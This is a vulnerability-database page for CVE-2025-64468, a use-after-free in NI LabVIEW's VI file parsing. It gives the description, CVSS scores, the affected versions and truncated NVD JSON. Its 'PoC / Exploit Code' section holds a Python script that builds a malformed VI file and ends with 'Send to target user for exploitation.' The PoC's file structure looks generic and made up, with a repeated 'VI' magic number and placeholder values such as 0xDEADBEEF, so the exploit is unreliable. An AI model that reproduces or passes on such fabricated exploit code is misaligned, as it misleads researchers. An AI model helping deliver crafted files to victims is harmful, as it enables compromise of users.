Security Vulnerability Report
中文
CVE-2025-64468 CVSS 7.8 HIGH

CVE-2025-64468

Published: 2025-12-18 15:15:59
Last Modified: 2025-12-24 15:11:39

Description

There is a use-after-free vulnerability in sentry!sentry_span_set_data() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2025 Q3 (25.3)
NI LabVIEW 2025 Q2 (25.2)
NI LabVIEW 2025 Q1 (25.1)
NI LabVIEW 2024 Q4 (24.4)
NI LabVIEW 2024 Q3 (24.3)
NI LabVIEW 2024 Q2 (24.2)
NI LabVIEW 2024 Q1 (24.1)
所有25.3及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64468 PoC - Malformed VI File Generator # This PoC demonstrates the structure needed to trigger use-after-free # in sentry!sentry_span_set_data() import struct def create_malformed_vi(): """ Generate a malformed VI file that triggers use-after-free in LabVIEW's sentry component during VI parsing. WARNING: This code is for educational and security research purposes only. """ # VI file header (LabVIEW Binary Format) header = bytearray() header.extend(b'VI' * 4) # Magic number header.extend(struct.pack('<I', 0x00001000)) # Version header.extend(struct.pack('<I', 0x00000001)) # Flags # Create corrupted span data section # This triggers use-after-free in sentry_span_set_data() span_section = bytearray() span_section.extend(struct.pack('<I', 0x00000001)) # Span count # Malformed span record with invalid pointer reference span_record = bytearray() span_record.extend(struct.pack('<Q', 0xDEADBEEFDEADBEEF)) # Corrupted pointer span_record.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid size span_record.extend(b'\x00' * 256) # Padding with null bytes span_section.extend(span_record) # Corrupted metadata that causes double-free scenario metadata = bytearray() metadata.extend(struct.pack('<I', 0x41414141)) # Corrupted reference count metadata.extend(struct.pack('<I', 0x00000000)) # Null terminator # Combine all sections vi_file = header + span_section + metadata return bytes(vi_file) def save_malformed_vi(filename): """Save the malformed VI file""" content = create_malformed_vi() with open(filename, 'wb') as f: f.write(content) print(f'[+] Malformed VI file created: {filename}') print(f'[+] File size: {len(content)} bytes') if __name__ == '__main__': save_malformed_vi('CVE-2025-64468_test.vi') print('[+] PoC generated. Send to target user for exploitation.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64468", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:59.043", "lastModified": "2025-12-24T15:11:39.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a use-after-free vulnerability in sentry!sentry_span_set_data() when parsing a corrupted VI file. This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI. This vulnerability affects NI LabVIEW 2025 Q3 (25.3) and prior versions"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q1:*:*:*:*:*:*", "matchCriteriaId": "4D12D6CF-802F-47BA-ADF9-9E52C071BD7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3:*:*:*:*:*:*", "matchCriteriaId": "340F61E5-D1ED-4C29-A894-8BC5C5B90ACE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "52CC3023-4913-40BA-B74C-786F32DC7551"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "FC150E98-5889-4A65-84B8-E4871091D104"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "85B3D429-4F3D-44CC-9304-837FB6D7E2A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "1FB7783C-FCB2-4564-98CF-F76F848E8E86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2022:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "82EE4E24-D802-4F6A-82E3-125221C1609C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vulnerable": true, "criteria": "c ... (truncated)